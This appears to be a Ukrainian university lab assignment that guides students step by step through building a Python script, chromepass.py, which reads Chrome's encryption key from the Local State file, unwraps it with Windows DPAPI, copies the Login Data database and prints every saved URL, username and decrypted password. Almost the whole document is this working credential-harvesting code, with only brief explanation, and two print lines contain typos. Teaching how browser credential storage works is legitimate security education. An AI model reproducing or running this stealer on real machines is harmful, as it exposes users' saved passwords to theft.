

Лабораторна робота №5.

Отримання та розшифровування збережених паролів браузера Google Chrome

Завдання:

1. Встановіть необхідні бібліотеки: `pip3 install pycryptodome pywin32`.
2. Створіть новий файл **chromepass.py** та імпортуйте необхідні модулі:

```
1 import os
2 import json
3 import base64
4 import sqlite3
5 import win32crypt
6 from Crypto.Cipher import AES
7 import shutil
8 from datetime import timezone, datetime, timedelta
```

3. Визначіть деякі функції, які допоможуть нам у основній функції:

функція **get_chrome_datetime()** відповідає за перетворення формату дати Chrome у зручний для читання формат дати й часу.

```
10 def get_chrome_datetime(chromedate):
11     """Return a `datetime.datetime` object from a chrome format datetime
12     Since `chromedate` is formatted as the number of microseconds since January, 1601"""
13     return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
```

функція **get_encryption_key()** витягує та декодує AES ключ, який використовувався для шифрування паролів, які зберігаються в шляху

"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State" як файл JSON.

```
15 def get_encryption_key():
16     local_state_path = os.path.join(os.environ["USERPROFILE"],
17                                     "AppData", "Local", "Google", "Chrome",
18                                     "User Data", "Local State")
19     with open(local_state_path, "r", encoding="utf-8") as f:
20         local_state = f.read()
21         local_state = json.loads(local_state)
22
23     # decode the encryption key from Base64
24     key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
25     # remove DPAPI str
26     key = key[5:]
27     # return decrypted key that was originally encrypted
28     # using a session key derived from current user's logon credentials
29     # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
30     return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
```

функція **decrypt_password()** приймає зашифрований пароль і AES ключ як аргументи та повертає розшифровану версію пароля.

```

33 def decrypt_password(password, key):
34     try:
35         # get the initialization vector
36         iv = password[3:15]
37         password = password[15:]
38         # generate cipher
39         cipher = AES.new(key, AES.MODE_GCM, iv)
40         # decrypt password
41         return cipher.decrypt(password)[-16:].decode()
42     except:
43         try:
44             return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
45         except:
46             # not supported
47             return ""
48

```

4. Запишіть основну функцію.

```

50 def main():
51     # get the AES key
52     key = get_encryption_key()
53     # local sqlite Chrome database path
54     db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
55                             "Google", "Chrome", "User Data", "default", "Login Data")
56     # copy the file to another location
57     # as the database will be locked if chrome is currently running
58     filename = "ChromeData.db"
59     shutil.copyfile(db_path, filename)
60     # connect to the database
61     db = sqlite3.connect(filename)
62     cursor = db.cursor()
63     # 'logins' table has the data we need
64     cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
65     # iterate over all rows
66     for row in cursor.fetchall():
67         origin_url = row[0]
68         action_url = row[1]
69         username = row[2]
70         password = decrypt_password(row[3], key)
71         date_created = row[4]
72         date_last_used = row[5]
73         if username or password:
74             print(f"Origin URL: {origin_url}")
75             print(f>Action URL: {action_url}")
76             print(f"Username: {username}")
77             print(f>Password: {password}")
78         else:
79             continue
80         if date_created != 86400000000 and date_created:
81             print(f"Creation date: {str(get_chrome_datetime(date_created))}")
82         if date_last_used != 86400000000 and date_last_used:
83             print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
84         print("="*50)
85     cursor.close()
86     db.close()
87     try:
88         # try to remove the copied db file
89         os.remove(filename)
90     except:
91         pass
92

```

Спочатку ми отримуємо ключ шифрування за допомогою попередньо визначеної функції **get_encryption_key()**, а потім копіюємо базу даних SQLite (розташовану за адресою "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default>Login Data", яка містить збережені паролі) до поточного каталогу та підключаємося до неї. Робимо це тому, що вихідний файл бази даних буде заблоковано, коли Chrome буде запущено. Після цього ми робимо запит на вибірку до таблиці логінів і повторюємо всі рядки з логінами. Ми також розшифровуємо кожен пароль і переформатуємо date_created і date_last_used дату і час у зручніший для людини формат. Нарешті, ми друкуємо облікові дані та видаляємо копію бази даних із поточного каталогу.

5. Викликаємо основну функцію:

```

94
95 if __name__ == "__main__":
96     main()

```

6. Запускаємо скрипт командою **python chromepass.py**.
7. Запишіть результати роботи chromepass.py.